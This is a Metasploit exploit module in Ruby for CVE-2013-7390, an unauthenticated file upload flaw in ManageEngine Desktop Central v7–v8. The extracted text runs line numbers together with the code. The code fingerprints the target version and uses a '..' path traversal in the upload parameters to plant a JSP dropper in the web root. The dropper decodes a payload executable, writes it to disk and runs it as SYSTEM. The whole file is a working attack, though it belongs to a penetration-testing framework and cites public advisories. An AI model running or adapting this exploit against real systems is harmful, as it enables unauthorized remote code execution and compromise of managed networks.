Path: blob/master/modules/exploits/windows/http/desktopcentral_file_upload.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::EXE10include Msf::Exploit::FileDropper1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload',17'Description' => %q{18This module exploits an arbitrary file upload vulnerability in Desktop Central v7 to19v8 build 80293. A malicious user can upload a JSP file into the web root without20authentication, leading to arbitrary code execution as SYSTEM.21},22'Author' => [23'Thomas Hibbert <thomas.hibbert[at]security-assessment.com>' # Vulnerability discovery and MSF module24],25'License' => MSF_LICENSE,26'References' => [27['CVE', '2013-7390'],28['OSVDB', '100008'],29['URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf'],30['URL', 'https://seclists.org/fulldisclosure/2013/Nov/130'],31],32'Platform' => 'win',33'Arch' => ARCH_X86,34'Targets' => [35[ 'Desktop Central v7 - v8 build 80292 / Windows', {} ]36],37'Privileged' => true,38'DefaultTarget' => 0,39'DisclosureDate' => '2013-11-11',40'Notes' => {41'Reliability' => UNKNOWN_RELIABILITY,42'Stability' => UNKNOWN_STABILITY,43'SideEffects' => UNKNOWN_SIDE_EFFECTS44}45)46)4748register_options([Opt::RPORT(8020)])49end5051def upload_file(filename, contents)52res = send_request_cgi({53'uri' => normalize_uri('agentLogUploader'),54'method' => 'POST',55'data' => contents,56'ctype' => 'text/html',57'encode_params' => false,58'vars_get' => {59'computerName' => 'DesktopCentral',60'domainName' => 'webapps',61'customerId' => '..',62'filename' => filename63}64})6566if res && res.code == 200 && res.body.to_s.empty?67return true68else69return false70end71end7273# Test for Desktop Central74def check75res = send_request_cgi({76'uri' => normalize_uri("configurations.do"),77'method' => 'GET'78})7980if res && res.code == 20081build = nil8283if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||84res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v78586print_status("Detected Desktop Central v7")87elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||88res.body.to_s =~ /ManageEngine Desktop Central MSP 8/8990if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v8 (later versions)91build = $192print_status("Detected Desktop Central v8 #{build}")93else # DC v8 (earlier versions)94print_status("Detected Desktop Central v8")95end96elsif res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 (and higher?)97build = $198end99100if build.nil?101return Exploit::CheckCode::Unknown102elsif Rex::Version.new(build) < Rex::Version.new("80293")103return Exploit::CheckCode::Appears104else105return Exploit::CheckCode::Safe106end107end108109Exploit::CheckCode::Unknown110end111112def exploit113print_status("Uploading JSP to execute the payload")114115exe = payload.encoded_exe116exe_filename = rand_text_alpha_lower(8) + ".exe"117118dropper = jsp_drop_and_execute(exe, exe_filename)119dropper_filename = rand_text_alpha_lower(8) + ".jsp"120121if upload_file(dropper_filename, dropper)122register_files_for_cleanup(exe_filename)123register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{dropper_filename}")124else125fail_with(Failure::Unknown, "#{peer} - JSP upload failed")126end127128print_status("Executing payload")129send_request_cgi(130{131'uri' => normalize_uri(dropper_filename),132'method' => 'GET'133}134)135end136137def jsp_drop_bin(bin_data, output_file)138jspraw = %Q|<%@ page import="java.io.*" %>\n|139jspraw << %Q|<%\n|140jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|141142jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|143144jspraw << %Q|int numbytes = data.length();\n|145146jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|147jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|148jspraw << %Q|{\n|149jspraw << %Q| char char1 = (char) data.charAt(counter);\n|150jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|151jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|152jspraw << %Q| comb <<= 4;\n|153jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|154jspraw << %Q| bytes[counter/2] = (byte)comb;\n|155jspraw << %Q|}\n|156157jspraw << %Q|outputstream.write(bytes);\n|158jspraw << %Q|outputstream.close();\n|159jspraw << %Q|%>\n|160161jspraw162end163164def jsp_execute_command(command)165jspraw = %Q|\n|166jspraw << %Q|<%\n|167jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|168jspraw << %Q|%>\n|169170jspraw171end172173def jsp_drop_and_execute(bin_data, output_file)174jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)175end176end177178179